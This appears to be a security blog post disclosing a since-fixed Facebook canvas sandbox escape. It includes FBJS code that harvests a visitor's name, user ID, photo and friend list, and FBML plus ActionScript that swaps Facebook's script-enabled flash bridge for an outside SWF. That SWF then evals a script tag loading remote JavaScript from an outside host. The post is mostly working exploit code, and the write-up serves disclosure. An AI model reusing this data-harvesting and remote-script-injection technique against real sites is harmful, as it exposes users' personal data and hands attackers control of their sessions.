Facebook allows developers to build applications using the “Canvas“. Because the canvas apps run on the facebook domain they use a “Sandbox”. This is a subset of HTML called FBML and a limited javascript set called FBJS. The sandbox is basically used to try prevent an attacker form being able to run malicious code.
Facebook also introduced Public Canvas Pages.
“Facebook now offers applications the ability to serve canvas pages to users not currently logged in to either Facebook or the application, or the user hasn’t agreed to the Terms of Service for the application.”
This means with a successful attack an app could exploit all users not just those who have already joined our facebook app.
The Exploit
FBJS allows us DOM Element Traversal with functions like getElementById and getChildNodes. This allows us to get info from any object in our canvas sandbox, even those rendered by facebook.
Info Disclosure
Lets say we use a “Public Canvas Page”, and want want to get info about users who have not yet added our app.
We will use the following FBML:
<div id="who_am_i" style="clear: both;"> <fb:profile-pic uid="loggedinuser" linked="true" /> </div> <div id="all_friends" style="clear: both; display:block"> <fb:request-form action="start.htm" method="POST" type="sample network" content="woot"> <fb:multi-friend-selector showborder="false" actiontext="anything" max="20" /> </fb:request-form> </div>
We use 2 FBML tags “fb:profile-pic”, and “fb:multi-friend-selector”. FBJS does not allow us to access these elements directly, but because we wrap them in a div that we created we can use the element traversal functions:
wai = document.getElementById('who_am_i');
// get the profile picture link object
p_pic = wai.getLastChild();
// the href of the photo is actually the users ID
uid = p_pic.getHref().match(/(\d+)$/);
uid = uid[1];
// Get the actual IMG node
img = p_pic.getChildNodes()[0];
// The title of the img is the full name of the user
u_name = img.getTitle();
// why not get the url of the photo as well
photo = img.getSrc();
log('User Info:');
log(' Name: '+u_name);
log(' User ID: ' + uid);
log(' Photo: ' + photo+"\n\n");
// This element may not be populated yet by facebook, so lets wait for it to be ready
do_when_ready(document.getElementById('all_friends'), 'ul', function(items){
return;
var friends = [];
// the 4th ul element from multi-friend-selector is our friends
nodes = items[3].getChildNodes();
for(i=0,l=nodes.length;i<l;i++){
// the first element is a link and its title is the name of each friend
friends.push(nodes[i].getFirstChild().getTitle());
}
// lets see what we got.
log('Your Friends:'+"\n----------");
log(friends.join(','));
});
// this is just a helper function to let us know when an element is loaded into dom
// facebook does not provide us with any sort of document.onload event
function do_when_ready(object, element, _callback){
var interval = setInterval(function(){;
items = object.getElementsByTagName(element);
if(items.length > 0){
clearInterval(interval);
try{
_callback(items);
}catch(e){};
}
},100);
}
The XSS
Reading information is one thing but we really want full control. Facebook does allow us to use flash with the Fb:swf tag, but they render the embed tag for us and always include the allowscriptaccess="never" to prevent unwanted script access from flash. They do however provide: Fb:fbjs-bridge. This allows you from flash to comunicate with FBJS and FBML.
Fb:fbjs-bridge renders its own embed tag, and because it is controlled by facebook, and needs to communicate with javascript it has the attribute allowscriptaccess="always" .
The problem is this item is rendered inside our canvas area therefore the attack mentioned above can be used to actually change the src (with setSrc which i assume is meant for IMG tags) of the “bridge” flash to an swf file owned by us giving us unrestricted script access.
HTML /JS:
/* Use this FBML
<div id="swfContainer" style="width: 1px; height: 1px;">
<fb:fbjs-bridge/>
</div>
*/
// loop over our dom until we have an embed tag ready.
do_when_ready(document.getRootElement(), 'embed', function(items){
// set the source to the bridge to our remote url
items[0].setSrc('http://m-austin.com/xss.swf');
// in some browsers we need to re-attach the swf object to the page for it to render again.
document.getElementById('swfContainer').appendChild(items[0]);
});
Flash/AS3:
/*
xss.as (m-austin.com)
>$ mxmlc -default-size=1,1 xss.as
*/
package { // no special packages needed to organize this single file project
import flash.display.Sprite; // the application is built upon Sprite
import flash.external.ExternalInterface;
public class xss extends Sprite // must match the file's name
{
public function xss() // program execution begins here
{
// the remote url to load
var url = "http://m-austin.com/xss.js";
// attach the remote script to the page
ExternalInterface.call('eval',"document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).src='"+url+"'");
}
}
}
Update: resolved on Jul 29, 2010
Comments are closed